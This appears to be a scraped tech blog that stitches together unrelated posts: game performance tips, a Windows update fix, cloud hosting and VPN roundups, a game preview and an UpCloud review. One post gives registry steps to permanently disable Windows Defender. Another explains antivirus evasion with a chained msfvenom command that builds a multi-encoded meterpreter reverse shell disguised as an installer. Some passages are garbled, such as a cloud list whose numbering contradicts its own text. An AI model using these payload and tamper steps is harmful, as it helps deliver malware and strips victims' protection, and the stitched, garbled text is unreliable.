The Ultimate Guide to Fixing Stuttering and Low FPS in Cities Skylines 2 (2023): Boost Your Gaming Experience


Stepping into the expansive city-building realms of Cities Skylines 2 is like opening a door to endless creative and strategic possibilities. But, like venturing into any vast territory, it comes with its challenges. One such challenge that many of us face is the technical glitches like stuttering and low frames per second (FPS) that can turn an exciting gaming session into a frustrating one. In this guide, I’m going to share various solutions that have worked for me and many others in the gaming community, to overcome these hurdles and ensure a smooth gameplay experience.

Cities Skylines 2 Stuttering and Low FPS Fixes and Solutions:

Checking for Game Updates

It’s always a wise first step to ensure that Cities Skylines 2 is updated to the latest version on the platform you purchased it from, like Steam or Epic Games Store. The developers frequently roll out patches to squash bugs and enhance performance.

Verifying Game Files

On Steam:

  1. Right-click on Cities Skylines 2 in your game library.
  2. Select Properties.
  3. Navigate to the Local Files tab.
  4. Click on ‘Verify Integrity of Game Files.’

Restarting Your System

A quick system restart can do wonders in clearing up temporary files and freeing up resources that might be hindering the game’s performance.

Graphics Settings Adjustments

Lowering Resolution:

  • Head to Options > Graphics > Screen Resolution in the game settings.
  • Opt for a lower resolution like 1080p or 720p to boost performance without sacrificing too much on visuals.

Reducing Graphics Quality Settings:

Tone down settings like Clouds, Fog, Shadows Quality, and Terrain Quality to find a balance between visual appeal and performance that suits your system.

Disabling V-Sync and Anti-Aliasing:

Turning off V-Sync can ramp up frame rates, albeit at the cost of potential screen tearing. Similarly, lowering or disabling Anti-aliasing can offer a performance boost.

Driver Updates and Optimization

Updating Graphics Drivers:

A visit to the official website of your GPU manufacturer (NVIDIA, AMD, or Intel) to update your graphics drivers to the latest version can often improve game performance.

Game Files and Mods Management

Disabling Conflicting Mods:

The modding community is a boon to Cities Skylines 2 gameplay, yet certain mods can cause performance hitches.

  • Use command-line launch options like “-disableMods” and “-noWorkshop” to disable mods and workshop assets respectively.

Advanced Solutions

Overclocking Your GPU:

Tread carefully here. Overclocking can boost GPU performance, but ensure to use reputable overclocking utilities and monitor system stability and temperatures.

Upgrading Hardware:

If your hardware is a tad outdated, considering an upgrade to a more potent GPU or adding more RAM can drastically enhance performance.

Setting Maximum Performance:

On Windows:

  1. Right-click on the battery icon in the system tray.
  2. Select “Power Options.”
  3. Opt for the “High Performance” power plan to allocate maximum resources to Cities Skylines 2.


Navigating the technical terrains of Cities Skylines 2 has been our shared quest, and as we usher in 2023, the prospects of smoother gameplay are bright. Each tweak shared in this guide, every community solution explored, and each driver update applied, are steps towards conquering the performance dragons that threaten to mar our urban planning adventures.

As you stride back into your urban dominions in Cities Skylines 2, this guide equips you with a toolkit of solutions to ensure nothing stands between you and your towering skyscrapers. The shared wisdom among us gamers is a treasure trove of solutions. So, let’s keep the dialogue going, share our discoveries, and ensure Cities Skylines 2 continues to be the engaging and enjoyable game it’s meant to be. Here’s to endless hours of seamless city-building, and the exciting adventures that await us in Cities Skylines 2!

Step-by-Step Guide: How to Fix Error Code 0x8007000D in Windows 11


In a world where keeping your system up-to-date is not just a convenience, but a necessity for maintaining security and optimal performance, encountering an error during an update can be more than a little frustrating. One such error that has been plaguing Windows 11 users is Error Code 0x8007000D. This guide aims to be your friendly companion in resolving this pesky issue, ensuring your Windows 11 system gets back on the update track.

Understanding Error Code 0x8007000D

Error Code 0x8007000D is not as cryptic as it appears. This code is Microsoft’s way of telling you that there’s something amiss with your update files or process. It usually occurs when you try to install system updates through Windows Update.

Causes of Error Code 0x8007000D in Windows 11

Several factors can trigger this error, ranging from corrupted system files, outdated drivers, to conflicts with third-party software. Knowing the root cause can be a significant step towards resolving the error.

Preparing Your System for the Fix

Before diving into the troubleshooting steps, it’s wise to ensure that your system is ready for the fix. Create a restore point to safeguard your data and settings, and make sure you have the necessary administrative privileges to carry out the solutions.

Step-by-Step Guide: How to Fix Error Code 0x8007000D in Windows 11

Step 1: Restart Your Computer

  • Click on the Start button.
  • Select the power icon, then choose “Restart.”

Step 2: Run Windows Update Troubleshooter

  • Press Win + I to open Settings.
  • Navigate to “Update & Security” > “Troubleshoot” > “Additional troubleshooters.”
  • Click on “Windows Update” and then “Run the troubleshooter.”

Step 3: Reset Windows Update Components

  • Press Win + X and select “Windows Terminal (Admin)” to open it with administrative privileges.
  • Type the following commands, pressing Enter after each:
net stop wuauserv
net stop cryptSvc
net stop bits
net stop msiserver
ren C:\Windows\SoftwareDistribution SoftwareDistribution.old
ren C:\Windows\System32\catroot2 catroot2.old
net start wuauserv
net start cryptSvc
net start bits
net start msiserver

Step 4: Run the SFC and DISM Commands

  • Open Windows Terminal as an administrator again.
  • Type sfc /scannow and press Enter. Allow the process to complete.
  • Now type the following command and press Enter:
DISM /Online /Cleanup-Image /RestoreHealth

Step 5: Update Drivers and Software

  • Right-click on the Start button and select “Device Manager.”
  • Expand each section, right-click on each device, and choose “Update driver.”
  • Select “Search automatically for updated driver software” and follow the prompts.

Step 6: Perform a Clean Boot

  • Press Win + R, type msconfig in the box, and hit Enter.
  • In the System Configuration window, go to the “Services” tab.
  • Check “Hide all Microsoft services” and then click “Disable all.”
  • Go to the “Startup” tab and click “Open Task Manager.”
  • Disable all startup items, close Task Manager, and click “OK” on the System Configuration window.
  • Restart your computer.


With this guide at your disposal, addressing Error Code 0x8007000D on your Windows 11 system should now feel like a manageable task rather than a daunting challenge. Follow the steps outlined, maintain patience, and soon your system will be smoothly running updates, ensuring you continue to enjoy an optimized Windows 11 experience.

Discover the Cheapest Cloud Servers for 2023: Our Top 10 Picks!

Discover the Cheapest Cloud Servers for 2023: Our Top 10 Picks!

Photo by MightyFineBros on Pixabay

Are you looking for the best and most affordable cloud servers for 2023? Look no further! In this article, we will be discussing the different types of cloud servers, their benefits, how to choose the best one, and our top 10 picks for the cheapest cloud servers of 2023. So, let’s get started!


Cloud servers are becoming increasingly popular with businesses and individuals alike. With the rise of cloud computing, more and more people are turning to cloud servers to store their data and run their applications. Cloud servers offer a wide range of benefits and are an affordable way to store and manage data. However, with so many different cloud servers available on the market, it can be difficult to know which one is best for you. In this article, we will explore the different types of cloud servers and their benefits, as well as how to choose the best one for your needs. We will also provide our top 10 picks for the cheapest cloud servers of 2023.

What is a Cloud Server?

A cloud server is a virtual server that is hosted in a cloud computing environment. It is a type of server that is hosted remotely on the internet and is accessed via a secure connection. Cloud servers offer a wide range of benefits, including scalability, flexibility, reliability, and cost savings. Cloud servers are typically hosted in a shared environment, meaning that multiple users can access and use the same server at the same time. This type of server can be used for a variety of purposes, including web hosting, application hosting, and data storage.

Benefits of Cloud Servers

One of the main benefits of cloud servers is scalability. With a cloud server, you can easily scale up or down depending on your needs. This makes it ideal for businesses that have varying levels of demand. Additionally, cloud servers are highly flexible, meaning that you can quickly add or remove resources as needed. This makes it easy to adjust to changes in your business.

Another benefit of cloud servers is reliability. Cloud servers are hosted in a secure environment and are monitored by professionals. This means that your data is always secure and accessible. Additionally, cloud servers are typically backed up regularly, so you don’t have to worry about losing important data or applications.

Finally, cloud servers are cost-effective. Since cloud servers are hosted in a shared environment, you don’t have to worry about the high costs associated with maintaining an in-house server. Additionally, cloud servers are often billed on a pay-as-you-go basis, so you only pay for the resources that you use.

Different Types of Cloud Servers

There are several different types of cloud servers available on the market. The most common types include Infrastructure as a Service (IaaS), Platform as a Service (PaaS), and Software as a Service (SaaS). Each of these types of cloud servers has its own unique set of benefits and features.

Infrastructure as a Service (IaaS) is a type of cloud server that provides businesses with the infrastructure they need to run their applications and store their data. This type of cloud server typically includes storage, networking, and virtualization services.

Platform as a Service (PaaS) is a type of cloud server that provides businesses with the platform they need to develop and run their applications. This type of cloud server typically includes web servers, databases, and application servers.

Software as a Service (SaaS) is a type of cloud server that provides businesses with the software they need to run their applications. This type of cloud server typically includes a variety of software applications, such as customer relationship management (CRM) software, enterprise resource planning (ERP) software, and accounting software.

How to Choose the Best Cloud Server

When choosing a cloud server, there are several factors to consider. The first factor is the type of cloud server that you need. As discussed above, there are several different types of cloud servers available on the market. You should choose a type of cloud server that best suits your needs.

The second factor to consider is the features offered by the cloud server. You should look for features that will help you run your applications and store your data efficiently. Additionally, you should look for features that will help you stay secure and protected from cyber threats.

The third factor to consider is the cost of the cloud server. You should compare the cost of different cloud servers to find the one that offers the best value for your money. Additionally, you should look for cloud servers that offer discounts or other cost-saving measures.

Finally, you should consider the customer service offered by the cloud server provider. You should look for a provider that offers reliable customer service and is willing to answer any of your questions or concerns in a timely manner.

The Best Cheap Cloud Servers of 2023

Now that you know what to look for in a cloud server, let’s take a look at the best cheap cloud servers of 2023.

10. Amazon Web Services (AWS)

The first cheap cloud server on our list is Amazon Web Services (AWS). AWS is a popular cloud server provider that offers a wide range of features and services at an affordable price. Additionally, AWS offers discounts for businesses that use their services for a long period of time.

9. Microsoft Azure

The second cheap cloud server on our list is Microsoft Azure. Microsoft Azure is a cloud server provider that offers a variety of features and services. Additionally, Microsoft Azure offers discounts for businesses that use their services for a long period of time.

8. Google Cloud Platform (GCP)

The third cheap cloud server on our list is Google Cloud Platform. Google Cloud Platform is a cloud server provider that offers a wide range of features and services. Additionally, Google Cloud Platform offers discounts for businesses that use their services for a long period of time.

7. IBM Cloud

The fourth cheap cloud server on our list is IBM Cloud. IBM Cloud is a cloud server provider that offers a wide range of features and services. Additionally, IBM Cloud offers discounts for businesses that use their services for a long period of time.

6. Oracle Cloud

The fifth cheap cloud server on our list is Oracle Cloud. Oracle Cloud is a cloud server provider that offers a wide range of features and services. Additionally, Oracle Cloud offers discounts for businesses that use their services for a long period of time.

5. Rackspace Cloud

The sixth cheap cloud server on our list is Rackspace Cloud. Rackspace Cloud is a cloud server provider that offers a wide range of features and services. Additionally, Rackspace Cloud offers discounts for businesses that use their services for a long period of time.

4. Digital Ocean

The seventh cheap cloud server on our list is DigitalOcean. DigitalOcean is a cloud server provider that offers a wide range of features and services. Additionally, DigitalOcean offers discounts for businesses that use their services for a long period of time.

3. Linode

The eighth cheap cloud server on our list is Linode. Linode is a cloud server provider that offers a wide range of features and services. Additionally, Linode offers discounts for businesses that use their services for a long period of time.

2. Vultr

The second cheap cloud server on our list is Vultr. Vultr is a cloud server provider that offers a wide range of features and services. Additionally, Vultr offers discounts for businesses that use their services for a long period of time.

1. OVHCloud

The first cheap cloud server on our list is OVH. OVH is a cloud server provider that offers a wide range of features and services. Additionally, OVH offers discounts for businesses that use their services for a long period of time.

Cloud Server Pricing

Cloud server pricing can vary depending on the type of cloud server you choose and the features you need. Generally speaking, cloud servers are billed on a pay-as-you-go basis, so you only pay for the resources that you use. Additionally, some cloud server providers offer discounts for long-term customers or for businesses that use their services for a long period of time.

Cloud Server Security

When choosing a cloud server, it is important to consider security. Cloud server providers typically offer a variety of security features to ensure that your data is safe and secure. These features can include data encryption, data backup, and user authentication. Additionally, some cloud server providers offer additional security features such as firewalls, antivirus software, and intrusion detection systems.


Cloud servers are a great way to store and manage data and run applications. They offer a wide range of benefits and are an affordable way to store and manage data. In this article, we discussed the different types of cloud servers, their benefits, how to choose the best one, and our top 10 picks for the cheapest cloud servers of 2023. We also discussed cloud server pricing and security. We hope that this article has helped you find the best cloud server for your needs.

If you’re looking for the best and most affordable cloud servers for 2023, we recommend that you check out our top 10 picks for the cheapest cloud servers. These cloud servers offer a wide range of features and services at an affordable price. Additionally, some of these cloud servers offer discounts for businesses that use their services for a long period of time.

So, what are you waiting for? Start exploring the different types of cloud servers and find the best one for your needs!

How to Disable Windows Defender in Windows 11 | Turn off Windows Defender (Permanent)

In this article, I’ll be showing you how you can disable Windows Defender on your Windows 11.

Before we get started, just a disclaimer: This might be a little different compared to what you are used to before when you are disabling a Windows Defender or Windows Security on Windows 10 as Windows 11 has tighter security measures before you can actually disable it.

Now, let’s get started!

First, go ahead to the Start menu and type in the search bar “System Configuration” and open that app. We are going to be booting a safe mode boot option, so go the Boot tab. You will see the Boot options so make sure to check the Safe boot and set it as minimal. Hit the apply button and ok button.

After that, you just have to click “Exit without restart” just to confirm that the Windows Security is currently running on the computer. You may go back to the start menu and look for the Windows Security app.

As you will see, the Virus & threat protection will show that it is turned on. Hence, you will need to restart your computer so we can disable that Windows Security feature on our Windows 11.

After restarting your computer, you will now be put in the Safe mode on your Windows 11. So you can now go ahead and change some settings on the registry.

Windows 11 on Safe Mode

Disable Windows Defender Using Registry

Go to the Start menu, right-click on it and select the run option. Type there “regedit“, hit the ok button, and you’ll be shown the Registry Editor window. You’ll now go to the HKEY_LOCAL_MACHINE folder and proceed to the SYSTEM folder. Then, look for the CurrentControlSet folder and under that is the Services folder, where we will be disabling particular services.

Under the Services folder, we are going to scroll down until we find the “Sense“. Click on it and we are going to be changing the Start key, which you’ll find on the right side. Open the Start key and change the value to “4” under the hexadecimal base and hit the ok button. These particular steps will be repeated as we go on.

Back to the left side column, we are going to be looking for the “WdBoot” folder. Same as before, we are going to click the Start key, and change the value to “4” with hexadecimal as base, then click ok.

Next, on the left side column, find the “WdFilter“. Repeat the process of changing the value on the Start key as we did before.

After that, you will look for “WdNisDrv” and repeat the same process.

You’ll be following the same steps with the “WdNisSvc” folder.

Lastly, repeat again the process for the “WinDefend” folder.

Finally, we now have successfully disabled the Windows Defender on the Windows 11.

In case you want to re-enable your Windows Defender, here are the default registry key values you will need to re-input:

  • Sense – 3
  • WdBoot -0
  • WdFilter – 0
  • WdNisDrv – 3
  • WdNisSvc – 3
  • WinDefend – 2

Disable Safe Mode – Boot in Normal mode

You can now close the Registry Editor and now go back on the Start menu. Right-click on it, select the run button, and type in “misconfig” and hit ok. Go to the Boot tab and uncheck the Safe Boot under the Boot options. Hit the apply button and ok button. Then, restart your computer.

Now, we are now back in the normal mode on Windows 11.

For us to check whether we have successfully disabled the Windows Security or Windows Defender on our Windows 11 OS, go back to the Start menu, search “Windows Security” and open that app.

You will notice that the Virus & threat protection, it will just be stuck on “Getting protection info…” and it will never load up the Windows Security service on your computer.

Disabled Windows Security in Windows 11

That’s basically it. Hopefully you were able to disable Windows Defender or Windows Security on Windows 11 through this article.

Comment down and let me know if everything worked for you.

Are you currently using Windows 10? We also have a guide in disabling Windows defender on Windows 10! Just click here.

If you had a hard time following the instructions, try watching this video tutorial right below:

Video Tutorial! (Turn off Windows Defender – Permanent)

Top 10 Best VPN for Android 2021

With the rapid growth of businesses and the service industry, it has become more important for greater data security and privacy over the internet. Since most private data over the internet are easily accessible for third parties, it has become mandatory to keep the data from going to the wrong hands. For this reason, VPN services have evolved rapidly to take over the challenges of data secrecy and privacy, and there are a few very reliable services that give complete protection.

Below is the list of Top 10 Best VPN on Android 2021, which is the ideal choice for users and is very fast, reliable for outstanding high bandwidth activities, and very secure. Apart from these, the VPNs given below give the best live chat support and other added features.

1. Express VPN

The Express VPN service is very popular with a large percentage of customers. The biggest advantage is that it works on most major platforms, including Android. Users can easily find it as a stable connection for uninterrupted works. It also comes with Chrome, Firefox, and Edge extension, and there is no fear of any data leaks. There is a strong no-data policy, and the whole system is pretty encrypted. Currently, the Express VPN has around 3000 servers in 94 countries. You will also find a diversely distributed fleet of servers. It has a stylish interface and offers Split tunneling.

You can also find out about the service with their offer for a 30-day money-back guarantee which is reasonable.

2. Surfshark

The Surfshark is very good for beginners, especially due to its fast VPN service. It has very strong and privacy features and a 24/7 live chat service. It has chrome and Firefox extensions, and there are no user logs, and it is very secure for anyone or any business to get on with their worry-free work. You also get it free for 30 days so that you can make a decision. It is rather simple to use with lots of features, and plans start very low and therefore quite affordable to most users.

Users would be able to use simultaneous connections and unique multi-hop and split tunneling tools. It has well-designed tools to make work simple and interesting.

3. Private Internet Access

Private Internet Access is easy to use and is based in the USA. There is no data limit with this service, and users would find it supporting 10 devices at once, and there are also several easy-to-use apps. Users would also find that some streaming services are left unblocked, like Netflix, BBC iPlayer, Amazon, and YouTube. Currently, Private Internet Access has more than 35,000 servers in over 75 countries. Users are also offered 30 days trial period by which time they can decide as the service has military-grade encryption. It is also compatible with Android, Windows, Mac, iOS, and Linux.

4. Cyber Ghost

The Cyber Ghost is a reliable VPN service that offers excellent speed and strong privacy. It also provides a token-based dedicated IP system and has 24/7 live chat support for its users. It has more than 7400 servers in 91 countries, and no data leaks and no user logs are giving it a top-notch secured service. There is also automatic Wi-Fi protection, and users will also find the Chrome and Firefox extensions of quality.

Users can make use of a well-distributed server fleet and have up to 7 simultaneous connections. You get several add-ons, including antivirus, and pretty terrific when it comes to speed.


The Access VPN provider is a high-speed service with several unique advanced security features and boasts of the largest server network. It is noteworthy that it has more than 29,600 servers in 78 countries. If this is not enough, users will find that it also comes with highly customizable settings to make their work cool. You will find the Firefox and Chrome extensions great, and you get an offer for a free trial for 30 days. It is pretty secured as there are no user logs and no data leaks.

6. Proton VPN

If you want a very secure VPN for Android, then Proton VPN is the one for you. If you look at this angle, it is also the Top 10 Best VPN for Android 2021 as it has unique free plans and unlimited bandwidth. It is based in Switzerland, and several of its servers use 10Gbps connections. However, you get the slow speed with free programs, which is manageable as you only notice during peak times. It, too, has unblocked streaming services like Netflix, Amazon, YouTube, Hulu, and BBC iPlayer.  It is compatible with Android, Linux, Windows, Mac, and iOS.

7. IP Vanish

The IP Vanish VPN has advanced security features and is very popular with Android users. It offers live-chat support and unlimited connections on a same-time basis. It gives users a free 30 days trial and has a pool of 40000 IP addresses. Currently, it has 1400 servers in 57 countries, and there is no data leak and no user logs.


The VYPR VPN is known for its consistent speed and high-security levels. It includes a NAT firewall and has a proprietary stealth protocol. It supports live chat and has a large pool of around 300,000 IP addresses. It has more than 700 servers in 64 countries, and there are no user logs and data leaks.

9. Nord VPN

Nord VPN has a very good uniform speed throughout its entire network. It also comes with many additional features and has 24 x 7 live-chat support for its users. It has built-in malware protection and Chrome and Firefox extensions. There are no user logs and leaks, and users can take a free trial for 30 days. It has more than 5300 servers in 60 countries and is regarded as one of the top services to unlock streaming services. It is steadily growing and will be one of the favorites for Android users.

It uses Wire Guard VPN technology and has Multi-hop, split tunneling, and strong customer privacy.

10. Strong VPN

You will find the Strong VPN effective while you are at work. It may be one of the best options around for beginners. Users get 24 x 7 live-chat support and Chrome extension. It, too, has no data leak and no user logs. It has 950 servers in around 39 countries. You may try it for a free trial for 30 days, and you will surely find it easy and great if you are new to VPN.

How hackers defeat anti-virus software using Metasploit

Metasploit is the most popular penetration testing framework. Alongside vulnerability testing, we can use Metasploit to improve our security awareness, manage assets and stay ahead of cyber threats. Learning how hackers defeat anti-virus software using Metasploit opens many doors. But offensive security tester’s need to learn evasion module type. It gives a better experience against targets that are running anti-virus software.

Metasploit framework is vast and has plenty of tools. The standalone application from Rapid7 can easily be used in a Kali Linux environment. As it lets Metasploit run in a plug-and-play manner, in the sandbox environment of Kali Linux.

Setting up environment

Hackers test their terminal commands in VMware or Virtual machines because it lets them use multiple operating systems with the same units of software. Also, it makes the testing process easier. In a general OS like windows, a Kali Linux system and Metasploit is required to defeat anti-virus software. Because before deploying in the real world, the program needs to pass antivirus processes. Otherwise, the files and procedure will be of no use.

Running Metasploit in Kali Linux

Assuming Kali Linux is already set up inside VirtualBox or VMWare Workstation. On the terminal type in the “msfconsole” metsaploit command and hit enter. For a full list of metasploit commands check the list here at HackingLoops. It will start the inbuilt Metasploit framework without extra hassle. If not sure and an update check is required, simply type in, “sudo apt update/ sudo apt install metasploit-framework.”

Once updated, we need to compile a DLL for execution. The DLL includes encrypted shellcode and a custom .bat file. Of course, we need to manually create one as per our requirements. The final step is to execute it.

Even if windows defender is turned on in the windows setting, the vulnerability can still be tempered. Inside terminal, we can create our payload as, “PayLoad/ MT/ EHa stager.cpp aes.cpp.” And next, “loader_bat_creator.rb.”

It will now create the .bat file according to Metasploit 5 default value to defeat windows defender. Scanning the stager.dll & loader.bat with an antivirus program (3rd party) will not give us any errors. Upon testing in their virtual machine, it can be deployed in the real world as sessions. We can use PowerShell, JavaScript, or C# to create the modules.

What hackers do is, they attach executable (.exe) file with a pdf or other downloadable from malicious sources. Once the executable runs with help of the parent program, it sends out a shell to the attacker. Microsoft windows have Antimalware Scan Interface (AMSI). It helps windows defender’s engine to scan for malicious inputs. They make it hard to defeat anti-virus software, but it is still a program that can be exploited via backdoors.

Another thing to take note of is, the Client ML. Client ML is something users interact with. They are operating systems own machine learning modules, helping local defenders or anti-virus software. Traditional signatures, malware, and generic behaviors are picked up regularly and data is sent for further inspection.

Attackers tweak with Powershell all the time to defat anti-virus software. As we are not touching the disk directly, a few commands on the Powershell can bypass a malicious executable from an attacker.

powershell.exe -command “Write-Output [Convert]::FromBase64String(‘SGVsbG8gV29ybGQh’)”

Powershell is abused heavily by an attacker. Underneath the hood, if the user permits the application, it will bypass further corrections. If “Base64” or similar domains are passed by attackers, they should be terminated immediately even if Powershell permitted it to run.

MSF Encoder

There is always a default function for encoders. Which is default and universal for a reason. Attackers modify it in their own will and deploy in whichever way they seem fit. So, the default msfvenom payload template becomes absolute. In this case, Shikata_ga_nai, an updated version of msf is used within the encoder. It is a polymorphic encoding technique according to specialists in the field. A practice input can be

msfvenom -a x64 –platform windows -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 20 LHOST= LPORT=8080 -f raw | msfvenom -a x64 –platform windows -e x64/alpha_upper -i 10 -f raw | msfvenom -a x64 –platform windows -e x64/countdown -i 10 -x (antivirus program name”X”)zip_setup_4.0.0.1030.exe -f exe > 360zip_setup.20155110.exe

Attackers try multiple times in various ways with adequate encoders to lure in victims. And a small percentage fall victim. A great platform is VirusTotal, where attackers upload the files with anti-virus variants. It gives a rough estimate wheatear to deploy with the current encode or requires more updates to pass. Many attackers use Python automated scripting to spam through filters trying to push files to the victim machine. The practice is quite complex and constant updates keep hackers away most of the time.

Why 2021 will be a treat for gamers?

Christmas is around the corner and we have reached the end of this rollercoaster year. This year has been no less than a fabulous and adventurous video game with several new plots and unexpected twists and turns. All eyes are now set on what’s 2021 bringing us. Well we can’t predict the future but however we can give you glimpses of what to expect in the gaming arena.

Browse through our curated list of popular games for 2021 below to update your wishlist.

1. Lego Star Wars: The Skywalker Saga

Platforms – Xbox series X, Xbox One, PS4, PS5, Windows and Switch

The sixth release in IT Game series, The Skywalker Saga promises more fun and frolic. Players can start to play from any of the 9 episodes, which is a new feature. Each episode includes 5 missions. Players can revisit planets and move from side quest to side quest without losing their progress. The saga offers 45 levels which is bound to keep players entertained for hours without a single dull moment.

2. Humankind

Platforms – Microsoft Windows, Google Stadia and Macintosh 

We all aspire to be remembered for something, don’t we? This is the central idea behind the Humankind game. Created by Sega developer Amplitude Studious, the game lets you etch a legacy on various civilizations and era. This 4X game focusses on allowing players to decide on what they want to be remembered by letting them design their own civilization from a multitude of possibilities.

3. Vampire: The Masquerade Bloodlines 2

Platforms – Xbox One,Xbox Series X and Series S, Microsoft Windows, PlayStation 4 and PlayStation 5

Action, horror and all things vampire – the core ingredients used to create the Masquerade Bloodlines 2. The plot revolves around a newbie vampire who tries to uncover the truth about the vampire society of Seattle. The central character sets out to catch the real perpetuator of vampire crimes. And on his journey he meets different vampire clans who display unique skills and abilities. Every vampire book you read or movies you have watched tries to come up with a unique spin on the Vampire narrative. This new release also attempts to do the same whilst keeping the players attention till the very end.

4. Werewolf: The Apocalypse – Earthblood

Platform – PS4, PS5, Xbox One, Xbox Series X, and Windows

Werewolf the Apocalypse series are based on a werewolf protagonist who is keeping an eye on environmental issues. The character, Cahal, fights against the materialistic and spiritually corrupted corporations who are about to harm and destroy nature. Cahal is an environmentalist who is also a werewolf which makes him much cooler and interesting. The new version has 3 gameplay modes – the Homid human form, Lupus wolf form and Crinos the war form. Each form offers players unique skills and you can transform into any form whenever and wherever required.

5. Halo Infinite

Platforms – Xbox One, Xbox Series X/S, and Windows

This is a military Sci-fi series. It has been identified as one of the highest grossing series. So what is new about this new series you ask? Well for starters you will have a complete access to a map which you can use to navigate. You can choose your missions using the map. Master chief will also be given access to tools such as shields and grappling hooks; all of which were featured in Halo 3. Not much has been released about Halo infinite. However, this happens to be one of the most anticipated games of 2021.

6. Dying light 2

Platforms – Xbox One, PS4, and Microsoft Windows.

Did you know that zombies are trending now? But players are down ramming them down. Which is why Dying Light 2 has come up with an interesting zombie series. So what makes it different than any other zombie game? The storyline of course. The protagonist needs to make some serious decisions which will determine the future of the last human settlement. You are Aiden Caldwell, an infected survivor. You will need to make use of your extraordinary skills to get across the city. Like the previous versions the game can be played with 4 players. Upgraded movement mechanics, great graphics, wider world to explore and more horror is what awaits you.

7. Hitman 3

Platforms – Xbox One, Xbox Series X/S, PS4, PS5, Stadia and Windows

Agent 47 is back again with this third instalment. Hitman has had fans all over the world and the fan following has continued to grow over the years. This shooter is expected to be back on the streets in January next year. Hitman cannot tolerate criminals and he will take all around the world to assassinate criminals. The new version takes you to exotic and breathtakingly beautiful locations of England and Dubai. The new instalment allows players to make use of maps and progresses from previous instalment and sync them with the new version. Developers say the new Hitman will be challenging and even darker than the previous versions.

8. Resident Evil Village

Platforms – Xbox Series X/S, PS5 and Windows

Did you know that the first Resident evil was released in 1996? That is a long time in gaming years. Similar to the movie franchise the game version is also quite popular. The 10 th release is almost here. The latest instalment is a continuation of the previous one set apart by a few years. The story revolves around the Resident Evil character Ethan. Although much is still known about the new release we have no doubt that it will offer a jaw-dropping experience.

9. Gotham Knights

Sorry to disappoint you but this upcoming batman game will not be featuring your favorite batman. The game is set in the period post batman’s demise. His four allies are not seeking revenge but watching over the city to keep the crimes at bay in Gotham city. Instead of rushing to save the day players can experience the feel of patrolling the city at night busting small and large criminals. You will get the option to switch characters amongst Robin, Bat girl, Night wing or Red Hood. This RPG version offers kick-ass gears and awesome weapons. This year we saw the postponement of several video game releases. But not to worry because the upcoming year promises a multitude of fantastic games for all platforms. Whether you want to feel the chills or build empires, game developers have got them all covered.

UpCloud Review (2020): Best Vultr Alternative?

Today, I will provide an in-depth and honest UpCloud Review and tell you at the end of this discussion whether or not UpCloud is a good Vultr Alternative.

Other cloud hosting providers such as Digital Ocean, and Linode will not be included in this review as this will mainly focus on the strengths and weaknesses of UpCloud over Vultr.

UpCloud, similarly to other cloud hosting company which you might already be familiar with such as Digital Ocean, Linode, and Vultr, also offers on-demand cloud servers which can be turned off, deleted, restarted, upscaled, or downscaled, depending on your needs and requirements.

UpCloud started in their business for quite a while now, they launched their online cloud platform in 2011. UpCloud is a European cloud hosting company and their main quarters is located in the capital city of Finland, Helsinki.

UpCloud Review

The main points for evaluation here are the price, performance, and features offered by UpCloud.

By the end of this review, you will be able to know whether or not UpCloud fits in your budget, and if the performance of UpCloud is the right for your computing needs, lastly, the features that are UpCloud offers over Vultr and the key features that it lacks as a cloud hosting provider.

So, let’s take a look first at the pricing of UpCloud and compare it with Vultr pricing.


Before we can say that UpCloud’s a good Vultr Alternative, it is important to determine whether or not UpCloud even deserves to be compared with Vultr’s competitive pricing for its cloud server plans.

Luckily, UpCloud’s pricing is as competitive as Vultr and other cloud hosting companies.

FIXED PLANS UpCloud Price Vultr Price
1 CORE/ 10GB SSD / 512MB MEMORY 3.5$
1 CORE/ 25GB SSD / 1 GB MEMORY 5$ 5$
1 CORE/ 50GB SSD / 2GB MEMORY 10$ 10$
2 CORES/ 80GB SSD / 4GB MEMORY 20$ 20$
4 CORES/ 160GB SSD / 8GB MEMORY 40$ 40$
6 CORES/ 320GB SSD / 16GB MEMORY 80$ 80$
8 CORES/ 640GB SSD / 32GB MEMORY 160$ 160$
12 CORES/ 960GB SSD/ 48GB MEMORY 240$
16 CORES/ 1280GB SSD/ 64GB MEMORY 320$
20 CORES/ 1920GB SSD/ 96GB MEMORY 480$
20 CORES/ 2048GB SSD/ 128GB MEMORY 640$
*The pricing on this table is last updated September 2020.

Looking at the pricing both providers offer, UpCloud offers big cloud packages over Vultr.

Vultr’s bare metal servers are sold out during the writing of this article.

UpCloud allows you to also customize your server using the “flexible plan” which would cost a little bit higher compared to the fixed plans.

UpCloud Flexible Plan

So far, when it comes to pricing, UpCloud is highly competitive with Vultr.

The pricing used on the comparison above is the cloud compute servers and not the high-frequency servers.

UpCloud allows you to customize your plan, add cores and memory if you prefer to have a custom setup, however using the flexible plan over the simple plan would cost you more.

When it comes to pricing, I can say that UpCloud can be a pretty decent if not a good Vultr alternative especially if you want flexibility of upscaling or downscaling your projects.


As for the performance, we will look at the response times, CPU performance, and Disk I/O Performance of UpCloud plans over Vultr plans. The data that is used here are from VPSBenchmarks tests and runs.

Response Times

The cloud server response times measures the responsiveness of a website/server when it is put under load.

For this test, a database intensive application was used to put each setup on a load to determine the average response times of each server.

With regards to the response times, it is shocking that UpCloud performs at par with Vultr here! The response times difference between the two is not that significant however the response times of 1GB Vultr Plan is extremely poor. At the same price bracket of 5$ plan, UpCloud outperforms Vultr’s 5$ plan when it comes to response times. Upgrading the server specs reduced their differences however making their response times right just near of each other with difference of 3-10 milliseconds.

The data that is used here are from VPSBenchmarks tests and runs.

CPU Performance

The CPU performance measures the rate of operations that each server configuration is able to sustainably operate given a CPU stress load.

The higher operations per second the better as the CPU is able to process more operations and instructions at a time.

Again, looking at the CPU performance benchmarks between UpCloud and Vultr, UpCloud dominates the performance over price ratio as it performs much more operations per second when compared to Vultr plans.

The data that is used here are from VPSBenchmarks tests and runs.

Disk I/O Performance

The Disk I/O performance tests the amount of system input and output operations that each cloud server plans is able to perform using the random read tests in MiB.

One of the main feature of UpCloud that it confidently compares with its competitor is the fastest disk I/O performance. They have called this MaxIOPS as their technology is able to surpass common average ssd speeds offered by Vultr, Digital Ocean, Linode, and is even being compared with Amazon and Google Cloud storage performances.

Looking at the results, it is indeed true what UpCloud claims that it obviously outperforms Vultr when it comes to Disk I/O performance. UpCloud shown up to 2x more transfer operations per second when compared to Vultr cloud instances.

Higher Disk I/O Performance is important especially when transferring files and media exchanges between users and the cloud instance. The faster the disk I/O performance, the bigger and the more files you are able to send and receive during peak operations / load.

The full technical details with the benchmarks performed by VPSBenchmarks can be found here.


